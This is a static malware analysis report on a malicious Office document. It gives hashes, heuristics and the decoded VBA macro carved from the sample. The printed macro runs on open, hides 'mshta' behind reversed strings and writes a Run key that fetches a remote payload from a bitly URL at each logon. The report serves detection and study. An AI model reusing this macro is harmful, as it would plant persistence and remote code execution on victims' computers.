Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 717deea64468edfe…

MALICIOUS

Office (OOXML)

7.2 KB First seen: 2021-06-20
MD5: 347a50ce48d1868993dc00ff5bc90cd8 SHA-1: 5da9fd3c826feec0a508e47d391a7da91f6983bd SHA-256: 717deea64468edfe7837410aed2a54ff7b9aa07a04ff7b52d2b6180511b2c869
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro with an Auto_Open subroutine that executes when the document is opened. This macro uses GetObject to interact with WMI and modifies the registry to add a Run key. The script constructs a URL by reversing strings and concatenating them, resulting in the value "https://www.bitly.com/haiasdjaisdjswdhaiadk", which is then written to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater. This indicates an attempt to establish persistence for a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/haiasdjaisdjswdhaiadk In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 636 bytes
SHA-256: 84ea4e13f5b4b700f720c7826550bf05414f251bd8c0a0872eec27cc853c882a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()

r = StrReverse("s")
m = StrReverse("M")
p = StrReverse("H")
tu = StrReverse("T")
x = StrReverse("""")
ha = StrReverse("a")
culik = StrReverse("""")
calc = x + m + r + p + tu + ha + culik
Const polooood = &H80000001
mamammakdkd = "."
Set kaosdkqowkdok = GetObject("winmgmts:\\" & mamammakdkd & "\root\default:StdRegProv")
kdkaskllll = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
hotagotamota = "Updater"
pipatatutupu = calc + """https://www.bitly.com/haiasdjaisdjswdhaiadk"""
kaosdkqowkdok.SetStringValue polooood, kdkaskllll, hotagotamota, pipatatutupu

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/.bin 13312 bytes
SHA-256: 73272e68f679557402a8ef77c9e0a7400bdb3e7c98292f1a451267eb3966b96e

Open this report in the interactive analyzer, or submit your own file for analysis.